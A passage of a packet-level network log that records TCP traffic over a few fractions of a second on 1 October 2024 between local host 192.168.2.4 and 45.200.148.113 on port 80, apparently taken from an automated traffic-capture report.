Oct 1, 2024 07:51:17.158188105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.158198118 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.158210039 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.158221006 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.158241034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.158243895 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.158252954 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.158271074 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.158296108 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.158483982 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.158495903 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.158507109 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.158518076 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.158521891 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.158528090 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.158539057 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.158550024 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.158551931 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.158562899 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.158586025 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.158605099 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.158835888 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.158847094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.158859968 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.158870935 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.158874989 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.158880949 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.158895969 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.158899069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.158922911 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.158953905 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.159141064 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.159152985 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.159163952 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.159174919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.159178019 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.159185886 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.159198046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.159207106 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.159208059 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.159239054 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.159509897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.159533024 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.159544945 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.159557104 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.159562111 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.159569979 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.159583092 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.159584999 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.159595013 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.159605980 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.159615040 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.159615993 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.159626961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.159636974 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.159641027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.159650087 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.159651995 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.159682989 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.160093069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160111904 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160126925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160135984 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.160137892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160149097 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160160065 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160168886 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.160171032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160182953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160193920 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160196066 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.160204887 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160216093 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160218000 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.160226107 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160237074 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160239935 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.160247087 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160258055 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.160279036 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.160780907 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160799026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160804033 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160815954 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160826921 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160835028 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.160840034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160851955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160861969 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160865068 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.160873890 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160885096 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160895109 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.160896063 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.160917044 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.160936117 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.161401033 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.161417007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.161427975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.161437988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.161448002 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.161448002 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.161459923 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.161470890 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.161472082 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.161482096 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.161492109 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.161503077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.161504030 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.161514044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.161524057 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.161530972 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.161541939 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.161542892 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.161551952 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.161560059 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.161562920 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.161573887 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.161583900 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.161587954 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.161601067 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.161612988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.161624908 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.161638021 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.161664963 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.162143946 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.162197113 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.162317991 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.162331104 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.162352085 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.162353992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.162365913 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.162375927 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.162381887 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.162386894 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.162398100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.162400961 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.162409067 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.162419081 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.162431955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.162437916 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.162441969 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.162452936 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.162455082 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.162467003 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.162473917 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.162477970 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.162491083 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.162522078 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.246296883 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.246345997 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.246356964 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.246376991 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.246406078 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.246445894 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.246457100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.246469021 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.246479988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.246481895 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.246511936 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.246669054 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.246679068 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.246690035 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.246701002 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.246707916 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.246712923 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.246723890 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.246727943 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.246759892 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.246921062 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.246932983 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.246943951 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.246954918 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.246959925 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.246965885 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.246989012 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.247014999 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.247133017 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.247143984 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.247154951 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.247164965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.247165918 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.247174978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.247184038 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.247211933 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.247339964 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.247350931 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.247363091 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.247375011 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.247400045 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.247436047 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.247447968 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.247457981 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.247468948 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.247471094 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.247479916 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.247490883 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.247499943 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.247500896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.247513056 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.247526884 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.247546911 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.247822046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.247833014 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.247855902 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.247879982 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.247998953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248008966 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248019934 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248030901 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248042107 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248053074 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248058081 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.248064041 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248075008 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248086929 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248086929 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.248096943 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248105049 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.248121977 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.248145103 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.248471975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248482943 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248493910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248507023 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248517990 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248517990 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.248528004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248539925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248553038 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.248574972 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.248734951 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248744011 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248754978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248766899 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248774052 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.248789072 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.248812914 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.248873949 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248884916 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248894930 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248904943 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248907089 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.248914957 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248927116 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.248933077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248943090 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248954058 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248963118 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248974085 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248979092 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.248984098 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.248994112 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.249001980 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.249005079 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.249015093 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.249021053 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.249026060 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.249038935 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.249041080 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.249058008 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.249083996 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.249815941 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.249825954 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.249836922 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.249847889 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.249849081 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.249859095 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.249867916 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.249875069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.249885082 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.249895096 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.249895096 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.249905109 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.249912977 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.249916077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.249926090 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.249933004 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.249938965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.249948978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.249958992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.249959946 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.249969959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.249979973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.249989986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.249990940 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.250000954 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.250009060 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.250025034 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.250049114 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.250639915 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.250649929 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.250660896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.250672102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.250679970 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.250682116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.250694036 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.250699043 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.250705004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.250715017 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.250732899 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.250749111 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.250770092 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.250781059 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.250791073 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.250801086 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.250802994 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.250813007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.250823975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.250833988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.250844955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.250855923 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.250855923 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.250866890 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.250876904 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.250889063 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.250906944 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.251610041 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.251621008 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.251637936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.251651049 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.251651049 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.251661062 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.251688004 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.251713037 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.334832907 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.334850073 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.334861040 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.334886074 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.334944963 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.334961891 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:17.334980011 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:17.335022926 CEST	49732	80	192.168.2.4	45.200.148.113
